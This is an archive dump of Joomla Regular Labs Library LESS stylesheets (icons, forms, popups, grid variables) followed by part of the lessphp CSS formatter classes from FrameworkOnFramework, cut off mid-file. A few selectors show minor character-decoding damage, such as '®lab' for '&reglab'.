.rl_colorpicker-panel .rl_colorpicker-swatch {
margin: 0 4px 4px 0;
}
.rl_colorpicker-swatch.active,
.rl_colorpicker-swatch:hover,
.rl_colorpicker-swatch:focus,
.rl_colorpicker-swatch span:focus {
outline: 0;
outline: thin dotted \9; /* IE6-9 */
}
.rl_colorpicker-swatch:hover,
.rl_colorpicker-swatch.active {
border-color: rgba(82, 168, 236, 0.8);
.box-shadow(~"inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px
rgba(82,168,236,.6)");
}
.rl_colorpicker-panel {
position: absolute;
top: 100%;
left: 0;
z-index: 10;
display: none;
float: left;
padding: 6px 2px 2px 6px;
margin: 1px 0 0;
list-style: none;
background-color: #ffffff;
border: 1px solid #dddddd;
*border-right-width: 2px;
*border-bottom-width: 2px;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
.box-shadow(~"0 5px 10px rgba(0, 0, 0, 0.2)");
.background-clip(padding-box);
}
font.less000064400000012740151157470760006423 0ustar00@font-face {
font-family: 'RegularLabs';
src: url('../fonts/RegularLabs.eot');
src: url('../fonts/RegularLabs.eot?#iefix')
format('embedded-opentype'),
url('../fonts/RegularLabs.woff') format('woff'),
url('../fonts/RegularLabs.ttf')
format('truetype'),
url('../fonts/RegularLabs.svg#RegularLabs')
format('svg');
font-weight: normal;
font-style: normal;
}
@font-face {
font-family: 'RegularLabsIcons';
src: url('../fonts/RegularLabsIcons.eot');
src: url('../fonts/RegularLabsIcons.eot?#iefix')
format('embedded-opentype'),
url('../fonts/RegularLabsIcons.woff')
format('woff'),
url('../fonts/RegularLabsIcons.ttf')
format('truetype'),
url('../fonts/RegularLabsIcons.svg#RegularLabsIcons')
format('svg');
font-weight: normal;
font-style: normal;
}
.icon-reglab,
[class^="icon-reglab-"],
[class*=" icon-reglab-"] {
display: inline-block;
width: 14px;
height: 14px;
.ie7-restore-right-whitespace();
line-height: 16px;
font-size: 16px;
speak: none;
font-style: normal;
font-weight: normal;
font-variant: normal;
text-transform: none;
/* Better Font Rendering =========== */
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.icon-reglab {
&:before {
font-family: 'RegularLabs' !important;
font-size: 14.2px !important;
}
}
h1, h2 {
.icon-reglab {
&:before {
font-size: 16px !important;
}
}
}
.btn {
.icon-reglab {
text-indent: -2px;
font-size: 12px;
&:before {
vertical-align: -3px;
}
}
}
.icon-reglab-24 {
&:before {
vertical-align: -5px;
@media screen and (-webkit-min-device-pixel-ratio: 0) {
vertical-align: -3px;
}
}
}
.icon- {
®lab:before {
content: "\e000";
}
&nonumber:before {
content: "\e100";
}
&addtomenu:before {
content: "\e001";
}
&advancedmodulemanager:before {
content: "\e003";
}
&advancedtemplatemanager:before {
content: "\e015";
}
&articlesanywhere:before {
content: "\e004";
}
&articlesfield:before {
content: "\e01d";
}
&betterpreview:before {
content: "\e005";
}
&bettertrash:before {
content: "\e01b";
}
&cachecleaner:before {
content: "\e006";
}
&cdnforjoomla:before {
content: "\e007";
}
&componentsanywhere:before {
content: "\e008";
}
&conditionalcontent:before {
content: "\e019";
}
&contenttemplater:before {
content: "\e009";
}
&dbreplacer:before {
content: "\e00a";
}
&dummycontent:before {
content: "\e017";
}
&emailprotector:before {
content: "\e00b";
}
&geoip:before {
content: "\e018";
}
&iplogin:before {
content: "\e016";
}
&keyboardshortcuts:before {
content: "\e01e";
}
&modals:before {
content: "\e00c";
}
&modulesanywhere:before {
content: "\e00d";
}
&quickindex:before {
content: "\e01c";
}
&rereplacer:before {
content: "\e00e";
}
&simpleusernotes:before {
content: "\e01a";
}
&sliders:before {
content: "\e00f";
}
&snippets:before {
content: "\e010";
}
&sourcerer:before {
content: "\e011";
}
&tabs:before {
content: "\e012";
}
&tooltips:before {
content: "\e014";
}
&whatnothing:before {
content: " ";
width: 16px;
display: inline-block;
}
}
[class^="icon-reglab-"],
[class*=" icon-reglab-"] {
&:before {
font-family: 'RegularLabsIcons' !important;
}
}
.icon-reglab- {
¶graph-left:before {
content: "\e001";
}
¶graph-center:before {
content: "\e002";
}
¶graph-right:before {
content: "\e003";
}
¶graph-justify:before {
content: "\e004";
}
&undo:before {
content: "\e005";
}
&redo:before {
content: "\e006";
}
&spinner:before {
content: "\e007";
}
&lock:before {
content: "\e008";
}
&unlocked:before {
content: "\e009";
}
&cog:before {
content: "\e00a";
}
&arrow-up:before {
content: "\e00b";
}
&arrow-right:before {
content: "\e00c";
}
&arrow-down:before {
content: "\e00d";
}
&arrow-left:before {
content: "\e00e";
}
&top:before {
content: "\e00f";
}
&bottom:before {
content: "\e010";
}
&simple:before {
content: "\e011";
}
&normal:before {
content: "\e012";
}
&advanced:before {
content: "\e013";
}
&home:before {
content: "\e014";
}
&info:before {
content: "\e015";
}
&warning:before {
content: "\e016";
}
¬-ok:before {
content: "\e017";
}
&link:before {
content: "\e018";
}
&eye:before {
content: "\e019";
}
&search:before {
content: "\e01a";
}
&earth:before {
content: "\e01f";
}
&src_sourcetags:before {
content: "\e01b";
}
&src_nosourcetags:before {
content: "\e01c";
}
&src_tagstyle:before {
content: "\e01d";
}
&src_tagstyle_brackets:before {
content: "\e01e";
}
&bundle:before {
content: "\e021";
}
&lifetime:before {
content: "\e022";
}
&twitter:before {
content: "\e030";
}
&google-plus:before {
content: "\e031";
}
&facebook:before {
content: "\e032";
}
&joomla:before {
content: "\e033";
}
}
.icon-reglab.icon- {
&src_sourcetags:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01b";
}
&src_nosourcetags:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01c";
}
&src_tagstyle:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01d";
}
&src_tagstyle_brackets:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01e";
}
}
.icon-expired:before {
content: "\6e";
}
form.less000064400000003621151157470760006416 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@import "init.less";
.chzn-small {
width: 120px;
}
// hide chosen dropdown on color picker J3.2.3+
div.chzn-container[id^="color_"][id$="_chzn"],
div.chzn-container#advancedparams_color_chzn {
display: none;
}
.input-full {
width: 100%;
box-sizing: border-box;
}
input[type="text"].input-full {
height: 28px;
}
.controls .input-maximize {
&:focus,
.chzn-container:hover,
.chzn-with-drop {
min-width: 99%;
}
}
.btn-group-yesno-reverse {
.active {
&.btn-success {
.buttonBackground(@btnDangerBackground, @btnDangerBackgroundHighlight);
}
&.btn-danger {
.buttonBackground(@btnSuccessBackground,
@btnSuccessBackgroundHighlight);
}
}
}
input.rl_codefield,
input.rl_keyfield,
div.rl_keycode {
#font > #family > .monospace;
font-size: 1.4em !important;
}
input.rl_codefield,
input.rl_keyfield {
font-size: 14px !important;
}
.btn.disabled {
cursor: not-allowed !important;
}
.rl_keycode {
color: @grayLight;
padding: 2px 0;
}
fieldset.rl_plaintext {
margin-top: 5px;
}
.rl_textarea {
.box-sizing(border-box);
}
.inlist .simplecolors-swatch span {
position: relative;
}
.rl_spinner {
display: inline-block;
box-sizing: border-box;
vertical-align: top;
margin: 0 4px;
border-top: 5px solid #7ac143;
border-right: 5px solid #f9a541;
border-bottom: 5px solid #f44321;
border-left: 5px solid #5091cd;
border-radius: 50%;
width: 20px;
height: 20px;
animation: rl_spinner 1s linear infinite;
}
@keyframes rl_spinner {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
frontend.less000064400000004174151157470760007276 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@import "../../jui/less/mixins.less";
@import "../../jui/less/variables.less";
@import "../../jui/less/grid.less";
@import "../../jui/less/forms.less";
@import "../../jui/less/dropdowns.less";
@import "../../jui/less/wells.less";
@import "../../jui/less/component-animations.less";
@import "../../jui/less/close.less";
@import "../../jui/less/buttons.less";
@import "../../jui/less/button-groups.less";
@import "../../jui/less/alerts.less";
@import "../../jui/less/tooltip.less";
@import "../../jui/less/accordion.less";
@import "../../jui/less/utilities.less";
@import "../../jui/less/bootstrap-extended.less";
@import
"../../../administrator/templates/isis/less/icomoon.less";
@import "multiselect.less";
/* Chosen color styles */
[class^="chzn-color"].chzn-single,
[class*=" chzn-color"].chzn-single,
[class^="chzn-color"].chzn-single .chzn-single-with-drop,
[class*=" chzn-color"].chzn-single .chzn-single-with-drop {
.box-shadow(none);
}
.chzn-color.chzn-single[rel="value_1"],
.chzn-color-reverse.chzn-single[rel="value_0"],
.chzn-color-state.chzn-single[rel="value_1"] {
.buttonBackground(@btnSuccessBackground, @btnSuccessBackgroundHighlight);
}
.chzn-color.chzn-single[rel="value_0"],
.chzn-color-reverse.chzn-single[rel="value_1"],
.chzn-color-state.chzn-single[rel="value_0"],
.chzn-color-state.chzn-single[rel="value_-1"],
.chzn-color-state.chzn-single[rel="value_-2"] {
.buttonBackground(@btnDangerBackground, @btnDangerBackgroundHighlight);
}
/* Min-width on buttons */
.controls .btn-group > .btn {
min-width: 50px;
}
.controls .btn-group.btn-group-yesno > .btn {
min-width: 84px;
padding: 2px 12px;
}
.control-label {
> label {
> h4 {
margin-bottom: 0;
}
}
}
.controls {
> fieldset {
margin-bottom: 0;
padding-top: 0;
padding-bottom: 0;
}
}
.chzn-container .chzn-drop {
z-index: 1040;
}
init.less000064400000000061151157470760006411 0ustar00@import
"variables.less";
@import "mixins.less";
mixins.less000064400000000371151157470760006761 0ustar00@import
"../../jui/less/mixins.less";
.transition-duration(@transition) {
-webkit-transition-duration: @transition;
-moz-transition-duration: @transition;
-o-transition-duration: @transition;
transition-duration: @transition;
}
multiselect.less000064400000001626151157470760010010 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
div.rl_multiselect {
margin-bottom: 0;
.rl_multiselect-controls {
clear: both;
}
ul.rl_multiselect-ul {
margin: 0;
padding: 0;
margin-top: 8px;
li {
margin: 0;
padding: 2px 10px 2px;
list-style: none;
}
span.rl_multiselect-toggle {
line-height: 18px;
}
label {
font-size: 1em;
margin-left: 8px;
&.nav-header {
padding: 0;
}
}
input {
margin: 2px 0 0 8px;
}
.rl_multiselect-menu {
margin: 0 6px;
}
ul.dropdown-menu {
margin: 0;
li {
padding: 0 5px;
border: none;
}
}
}
}
popup.less000064400000003343151157470760006617 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@import "init.less";
@import "font.less";
body.reglab-popup {
padding: 0;
.container-fluid {
padding: 0 20px;
}
.navbar {
margin-bottom: 10px;
.navbar-inner {
padding-left: 0;
padding-right: 0;
border-radius: 0;
border-left: none;
border-right: none;
}
.btn-toolbar,
#toolbar {
margin-top: 2px;
margin-bottom: 2px;
}
}
.header {
margin-left: 0;
margin-right: 0;
&.has-navbar-fixed-top {
margin-top: 44px;
margin-bottom: 10px;
padding-top: 2px;
padding-bottom: 2px;
}
}
.subhead {
margin-left: 0;
margin-right: 0;
padding-left: 0;
padding-right: 0;
}
.page-title {
text-align: left;
}
label > span[class^="icon-reglab"] {
padding: 1px 0 3px;
}
.reglab-overlay {
background-color: #000000;
position: fixed;
left: 0;
top: 0;
width: 100%;
height: 100%;
z-index: 5000;
opacity: .2;
cursor: wait;
}
.chzn-container-single .chzn-single div b {
background: none !important;
}
.nav-tabs {
> li {
> a {
border-color: #eeeeee #eeeeee #dddddd;
background-color: #f5f5f5;
margin-right: 4px;
&:hover,
&:focus {
background-color: #eeeeee;
}
}
&.active a {
border-color: #dddddd;
border-bottom-color: transparent;
background-color: #ffffff;
}
}
}
}
style.less000064400000013472151157470760006620 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@import "init.less";
@import "font.less";
.rl_tablelist {
td {
height: 22px;
color: @gray;
}
td.has-context {
height: 23px;
}
}
.rl_code {
#font > #family > .monospace;
color: @grayLight;
}
.well {
.well {
border-color: darken(@wellBackground, 7%);
}
}
div.rl_well {
padding-bottom: 0;
h4 {
margin-top: 6px;
}
&.alert-success,
&.alert-error {
color: @grayDark;
}
.controls .btn-group > .btn {
min-width: auto;
}
}
.well-striped:nth-child(even) {
background-color: lighten(@wellBackground, 3%);
}
.alert.alert-inline {
margin: 14px 0 0;
}
.alert.alert-noclose {
padding: 8px 14px;
}
.rl_has-ignore .btn-primary.active,
.rl_btn-ignore.btn-danger.active {
background-color: @grayLight;
border: 1px solid rgba(0, 0, 0, 0.2);
&:hover,
&:focus {
background-color: darken(@grayLight, 15%);
}
}
.rl_btn-exclude.btn-success.active {
background-color: @btnDangerBackground;
border: 1px solid rgba(0, 0, 0, 0.2);
&:hover,
&:focus {
background-color: darken(@btnDangerBackground, 15%);
}
}
.btn-group.btn-group-full,
.subform-table-layout table .btn-group.btn-group-full,
.btn-full {
width: 100%;
box-sizing: border-box;
margin: 0;
}
.icon-back:before {
content: "\e008";
}
.icon-spin {
-webkit-animation: spin .5s infinite linear;
animation: spin .5s infinite linear;
}
@-webkit-keyframes spin {
0% {
-webkit-transform: rotate(0deg)
}
100% {
-webkit-transform: rotate(359deg)
}
}
@-moz-keyframes spin {
0% {
-moz-transform: rotate(0deg)
}
100% {
-moz-transform: rotate(359deg)
}
}
@-ms-keyframes spin {
0% {
-ms-transform: rotate(0deg)
}
100% {
-ms-transform: rotate(359deg)
}
}
@-o-keyframes spin {
0% {
-o-transform: rotate(0deg)
}
100% {
-o-transform: rotate(359deg)
}
}
@keyframes spin {
0% {
transform: rotate(0deg)
}
100% {
transform: rotate(359deg)
}
}
/* Dropdown and dropup fixes */
.btn-toolbar .modal,
.btn-toolbar .dropdown-menu {
font-size: 13px;
}
@media (min-width: 768px) {
.dropdown {
display: inline-block;
}
.dropdown-menu.dropup-menu {
bottom: 100%;
top: auto;
}
}
/* popovers */
.popover {
width: auto;
min-width: 200px;
}
/* icons */
.icon-color {
background: transparent url(../images/icon-color.png) no-repeat;
width: 16px !important;
height: 16px !important;
}
.clearfix {
.clearfix();
}
.thumbnail-small > .thumbnail > img {
max-width: 40px;
}
#key_button,
#jform_key_button {
margin-left: 8px;
}
.ghosted {
.opacity(60);
}
.rl_license {
margin-top: 30px;
text-align: center;
}
.rl_footer {
margin-top: 30px;
div {
margin-top: 30px;
text-align: center;
}
.rl_footer_review {
margin-top: 5px;
a.stars {
display: inline-block;
.icon-star {
color: mix(@yellow, @orange);
margin: 0;
.transition-duration(500ms);
}
&:hover {
text-decoration: none;
.icon-star {
.rotate(216deg);
}
}
}
}
.rl_footer_logo {
img {
vertical-align: -40%;
}
}
.rl_footer_copyright {
margin-top: 3px;
font-size: 0.7em;
.opacity(60);
}
}
.rl_simplecategory_new {
margin-top: 4px;
}
.rl_codemirror .CodeMirror-activeline-background {
background: rgba(164, 194, 235, .1);
}
/* better responsiveness */
@media (min-width: 768px) and (max-width: 1200px) {
.row-fluid [class*="span"] {
&[class*="span-md"] {
margin-left: 2.12%;
*margin-left: 2.03%;
&:first-child {
margin-left: 0;
}
}
&.span-md-12 {
width: 100%;
*width: 99.94680851063829%;
margin-left: 0;
}
&.span-md-11 {
width: 91.48936170212765%;
*width: 91.43617021276594%;
}
&.span-md-10 {
width: 82.97872340425532%;
*width: 82.92553191489361%;
}
&.span-md-9 {
width: 74.46808510638297%;
*width: 74.41489361702126%;
}
&.span-md-8 {
width: 65.95744680851064%;
*width: 65.90425531914893%;
}
&.span-md-7 {
width: 57.44680851063829%;
*width: 57.39361702127659%;
}
&.span-md-6 {
width: 48.93617021276595%;
*width: 48.88297872340425%;
}
&.span-md-5 {
width: 40.42553191489362%;
*width: 40.37234042553192%;
}
&.span-md-4 {
width: 31.914893617021278%;
*width: 31.861702127659576%;
}
&.span-md-3 {
width: 23.404255319148934%;
*width: 23.351063829787233%;
}
&.span-md-2 {
width: 14.893617021276595%;
*width: 14.840425531914894%;
}
&.span-md-1 {
width: 6.382978723404255%;
*width: 6.329787234042553%;
}
}
}
@media (min-width: 1200px) and (max-width: 1400px) {
.row-fluid [class*="span"] {
&.span-lg-12 {
width: 100%;
*width: 99.94680851063829%;
margin-left: 0;
}
&.span-lg-11 {
width: 91.48936170212765%;
*width: 91.43617021276594%;
}
&.span-lg-10 {
width: 82.97872340425532%;
*width: 82.92553191489361%;
}
&.span-lg-9 {
width: 74.46808510638297%;
*width: 74.41489361702126%;
}
&.span-lg-8 {
width: 65.95744680851064%;
*width: 65.90425531914893%;
}
&.span-lg-7 {
width: 57.44680851063829%;
*width: 57.39361702127659%;
}
&.span-lg-6 {
width: 48.93617021276595%;
*width: 48.88297872340425%;
}
&.span-lg-5 {
width: 40.42553191489362%;
*width: 40.37234042553192%;
}
&.span-lg-4 {
width: 31.914893617021278%;
*width: 31.861702127659576%;
}
&.span-lg-3 {
width: 23.404255319148934%;
*width: 23.351063829787233%;
}
&.span-lg-2 {
width: 14.893617021276595%;
*width: 14.840425531914894%;
}
&.span-lg-1 {
width: 6.382978723404255%;
*width: 6.329787234042553%;
}
}
}
variables.less000064400000023777151157470760007441 0ustar00//
// Variables
// --------------------------------------------------
// > Joomla JUI
// Responsive Breakpoints
// -------------------------
@xs: 320px;
@sm: 480px;
@md: 768px;
@lg: 980px;
@xl: 1200px;
@xs-max: @xs - 1;
@sm-max: @sm - 1;
@md-max: @md - 1;
@lg-max: @lg - 1;
@xl-max: @xl - 1;
// < Joomla JUI
// Global values
// --------------------------------------------------
// Grays
// -------------------------
@black: #000;
@grayDarker: #222;
@grayDark: #333;
@gray: #555;
@grayLight: #999;
@grayLighter: #eee;
@white: #fff;
// Accent colors
// -------------------------
@blue: #049cdb;
@blueDark: #0064cd;
@green: #46a546;
@red: #9d261d;
@yellow: #ffc40d;
@orange: #f89406;
@pink: #c3325f;
@purple: #7a43b6;
// Scaffolding
// -------------------------
@bodyBackground: @white;
@textColor: @grayDark;
// Links
// -------------------------
@linkColor: darken(#428bca, 10%);
@linkColorHover: darken(@linkColor, 15%);
// Typography
// -------------------------
@sansFontFamily: "Helvetica Neue", Helvetica, Arial,
sans-serif;
@serifFontFamily: Georgia, "Times New Roman", Times, serif;
@monoFontFamily: Monaco, Menlo, Consolas, "Courier New",
monospace;
// > Joomla JUI
@baseFontSize: 13px;
// < Joomla JUI
@baseFontFamily: @sansFontFamily;
// > Joomla JUI
@baseLineHeight: 18px;
// < Joomla JUI
@altFontFamily: @serifFontFamily;
@headingsFontFamily: inherit; // empty to use BS default,
@baseFontFamily
@headingsFontWeight: bold; // instead of browser default, bold
@headingsColor: inherit; // empty to use BS default, @textColor
// Component sizing
// -------------------------
// Based on 14px font-size and 20px line-height
@fontSizeLarge: @baseFontSize * 1.25; // ~18px
// > Joomla JUI
@fontSizeSmall: ceil(@baseFontSize * 0.85); // ~12px
// < Joomla JUI
@fontSizeMini: @baseFontSize * 0.75; // ~11px
@paddingLarge: 11px 19px; // 44px
@paddingSmall: 2px 10px; // 26px
@paddingMini: 0 6px; // 22px
@baseBorderRadius: 3px;
@borderRadiusLarge: 6px;
@borderRadiusSmall: 3px;
// Tables
// -------------------------
@tableBackground: transparent; // overall
background-color
@tableBackgroundAccent: #f9f9f9; // for striping
@tableBackgroundHover: #F0F0F0; // for hover
@tableBorder: #ddd; // table and cell border
// Buttons
// -------------------------
@btnBackground: #f3f3f3;
@btnBackgroundHighlight: darken(@grayLighter, 3%);
@btnBorder: lighten(@grayLight, 10%);
// > Joomla JUI
@btnPrimaryBackground: #2384d3;
@btnPrimaryBackgroundHighlight: #15497c;
// < Joomla JUI
@btnInfoBackground: #2f96b4;
@btnInfoBackgroundHighlight: darken(@btnInfoBackground, 10%);
@btnSuccessBackground: #46a546;
@btnSuccessBackgroundHighlight: darken(@btnSuccessBackground, 10%);
@btnWarningBackground: @orange;
@btnWarningBackgroundHighlight: darken(@btnWarningBackground, 10%);
@btnDangerBackground: #bd362f;
@btnDangerBackgroundHighlight: darken(@btnDangerBackground, 10%);
@btnInverseBackground: #444;
@btnInverseBackgroundHighlight: @grayDarker;
// Forms
// -------------------------
@inputBackground: @white;
@inputBorder: #ccc;
@inputBorderHighlight: #3071A9;
@inputBorderRadius: 3px;
@inputDisabledBackground: @grayLighter;
@formActionsBackground: #F0F0F0;
@inputHeight: @baseLineHeight + 10px; // base line-height
+ 8px vertical padding + 2px top/bottom border
// Dropdowns
// -------------------------
@dropdownBackground: @white;
@dropdownBorder: rgba(0,0,0,.2);
@dropdownDividerTop: #F0F0F0;
@dropdownDividerBottom: @white;
@dropdownLinkColor: @grayDark;
@dropdownLinkColorHover: @white;
@dropdownLinkColorActive: @dropdownLinkColor;
@dropdownLinkBackgroundHover: @dropdownLinkBackgroundActive;
@dropdownLinkBackgroundActive: @linkColor;
// COMPONENT VARIABLES
// --------------------------------------------------
// Z-index master list
// -------------------------
// Used for a bird's eye view of components dependent on the z-axis
// Try to avoid customizing these :)
@zindexDropdown: 1000;
@zindexTooltip: 1030;
@zindexFixedNavbar: 1030;
@zindexModalBackdrop: 1040;
@zindexModal: 1050;
@zindexPopover: 1060;
// Sprite icons path
// -------------------------
@iconSpritePath: "../img/glyphicons-halflings.png";
@iconWhiteSpritePath:
"../img/glyphicons-halflings-white.png";
// Input placeholder text color
// -------------------------
@placeholderText: @grayLight;
// Hr border color
// -------------------------
@hrBorder: @grayLighter;
// Horizontal forms & lists
// -------------------------
@horizontalComponentOffset: 180px;
// Wells
// -------------------------
@wellBackground: #F0F0F0;
// Navbar
// -------------------------
// > Joomla JUI
@navbarCollapseWidth: @md-max;
// < Joomla JUI
@navbarCollapseDesktopWidth: (@navbarCollapseWidth + 1);
@navbarHeight: 40px;
@navbarBackgroundHighlight: #ffffff;
@navbarBackground: darken(@navbarBackgroundHighlight, 5%);
@navbarBorder: darken(@navbarBackground, 12%);
@navbarText: @gray;
@navbarLinkColor: @gray;
@navbarLinkColorHover: @grayDark;
@navbarLinkColorActive: @gray;
@navbarLinkBackgroundHover: transparent;
@navbarLinkBackgroundActive: darken(@navbarBackground, 5%);
@navbarBrandColor: @navbarLinkColor;
// Inverted navbar
// > Joomla JUI
@navbarInverseBackground: darken(@headerBackground, 10%);
@navbarInverseBackgroundHighlight: darken(@headerBackground, 5%);
@navbarInverseBorder: darken(@headerBackground, 15%);
@navbarInverseText: lighten(@grayLight, 25%);
@navbarInverseLinkColor: lighten(@grayLight, 25%);
// < Joomla JUI
@navbarInverseLinkColorHover: @white;
@navbarInverseLinkColorActive: @navbarInverseLinkColorHover;
@navbarInverseLinkBackgroundHover: transparent;
@navbarInverseLinkBackgroundActive: @navbarInverseBackground;
@navbarInverseSearchBackground: lighten(@navbarInverseBackground,
25%);
@navbarInverseSearchBackgroundFocus: @white;
@navbarInverseSearchBorder: @navbarInverseBackground;
@navbarInverseSearchPlaceholderColor: #ccc;
@navbarInverseBrandColor: @navbarInverseLinkColor;
// Pagination
// -------------------------
@paginationBackground: #fff;
@paginationBorder: #ddd;
@paginationActiveBackground: #F0F0F0;
// Hero unit
// -------------------------
@heroUnitBackground: @grayLighter;
@heroUnitHeadingColor: inherit;
@heroUnitLeadColor: inherit;
// Form states and alerts
// -------------------------
@warningText: #8a6d3b;
@warningBackground: #fcf8e3;
@warningBorder: darken(spin(@warningBackground, -10), 5%);
@errorText: #a94442;
@errorBackground: #f2dede;
@errorBorder: darken(spin(@errorBackground, -10), 5%);
@successText: #3c763d;
@successBackground: #dff0d8;
@successBorder: darken(spin(@successBackground, -10), 5%);
@infoText: #31708f;
@infoBackground: #d9edf7;
@infoBorder: darken(spin(@infoBackground, -10), 7%);
// Tooltips and popovers
// -------------------------
@tooltipColor: #fff;
@tooltipBackground: #000;
@tooltipArrowWidth: 5px;
@tooltipArrowColor: @tooltipBackground;
@popoverBackground: #fff;
@popoverArrowWidth: 10px;
@popoverArrowColor: #fff;
@popoverTitleBackground: darken(@popoverBackground, 3%);
// Special enhancement for popovers
@popoverArrowOuterWidth: @popoverArrowWidth + 1;
@popoverArrowOuterColor: rgba(0,0,0,.25);
// GRID
// --------------------------------------------------
// Default 940px grid
// -------------------------
@gridColumns: 12;
@gridColumnWidth: 60px;
@gridGutterWidth: 20px;
@gridRowWidth: (@gridColumns * @gridColumnWidth) +
(@gridGutterWidth * (@gridColumns - 1));
// 1200px min
@gridColumnWidth1200: 70px;
@gridGutterWidth1200: 30px;
@gridRowWidth1200: (@gridColumns * @gridColumnWidth1200) +
(@gridGutterWidth1200 * (@gridColumns - 1));
// 768px-979px
@gridColumnWidth768: 42px;
@gridGutterWidth768: 20px;
@gridRowWidth768: (@gridColumns * @gridColumnWidth768) +
(@gridGutterWidth768 * (@gridColumns - 1));
// Fluid grid
// -------------------------
@fluidGridColumnWidth: percentage(@gridColumnWidth/@gridRowWidth);
@fluidGridGutterWidth: percentage(@gridGutterWidth/@gridRowWidth);
// 1200px min
@fluidGridColumnWidth1200:
percentage(@gridColumnWidth1200/@gridRowWidth1200);
@fluidGridGutterWidth1200:
percentage(@gridGutterWidth1200/@gridRowWidth1200);
// 768px-979px
@fluidGridColumnWidth768:
percentage(@gridColumnWidth768/@gridRowWidth768);
@fluidGridGutterWidth768:
percentage(@gridGutterWidth768/@gridRowWidth768);
// > Joomla JUI
// Login
// -------------------------
@loginBackground: #17568c;
// Header
// -------------------------
@headerBackground: #1a3867;
@headerBackgroundHighlight: #17568c;
// < Joomla JUIformatter/classic.php000064400000006754151157711500010720
0ustar00<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken verbatim from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFLessFormatterClassic
{
public $indentChar = " ";
public $break = "\n";
public $open = " {";
public $close = "}";
public $selectorSeparator = ", ";
public $assignSeparator = ":";
public $openSingle = " { ";
public $closeSingle = " }";
public $disableSingle = false;
public $breakSelectors = false;
public $compressColors = false;
/**
* Public constructor
*/
public function __construct()
{
$this->indentLevel = 0;
}
/**
* Indent a string by $n positions
*
* @param integer $n How many positions to indent
*
* @return string The indented string
*/
public function indentStr($n = 0)
{
return str_repeat($this->indentChar, max($this->indentLevel + $n,
0));
}
/**
* Return the code for a property
*
* @param string $name The name of the property
* @param string $value The value of the property
*
* @return string The CSS code
*/
public function property($name, $value)
{
return $name . $this->assignSeparator . $value . ";";
}
/**
* Is a block empty?
*
* @param stdClass $block The block to check
*
* @return boolean True if the block has no lines or children
*/
protected function isEmpty($block)
{
if (empty($block->lines))
{
foreach ($block->children as $child)
{
if (!$this->isEmpty($child))
{
return false;
}
}
return true;
}
return false;
}
/**
* Output a CSS block
*
* @param stdClass $block The block definition to output
*
* @return void
*/
public function block($block)
{
if ($this->isEmpty($block))
{
return;
}
$inner = $pre = $this->indentStr();
$isSingle = !$this->disableSingle &&
is_null($block->type) && count($block->lines) == 1;
if (!empty($block->selectors))
{
$this->indentLevel++;
if ($this->breakSelectors)
{
$selectorSeparator = $this->selectorSeparator . $this->break .
$pre;
}
else
{
$selectorSeparator = $this->selectorSeparator;
}
echo $pre .
implode($selectorSeparator, $block->selectors);
if ($isSingle)
{
echo $this->openSingle;
$inner = "";
}
else
{
echo $this->open . $this->break;
$inner = $this->indentStr();
}
}
if (!empty($block->lines))
{
$glue = $this->break . $inner;
echo $inner . implode($glue, $block->lines);
if (!$isSingle && !empty($block->children))
{
echo $this->break;
}
}
foreach ($block->children as $child)
{
$this->block($child);
}
if (!empty($block->selectors))
{
if (!$isSingle && empty($block->children))
{
echo $this->break;
}
if ($isSingle)
{
echo $this->closeSingle . $this->break;
}
else
{
echo $pre . $this->close . $this->break;
}
$this->indentLevel--;
}
}
}
formatter/compressed.php000064400000002064151157711500011431
0ustar00<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken verbatim from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFLessFormatterCompressed extends FOFLessFormatterClassic
{
public $disableSingle = true;
public $open = "{";
public $selectorSeparator = ",";
public $assignSeparator = ":";
public $break = "";
public $compressColors = true;
/**
* Indent a string by $n positions
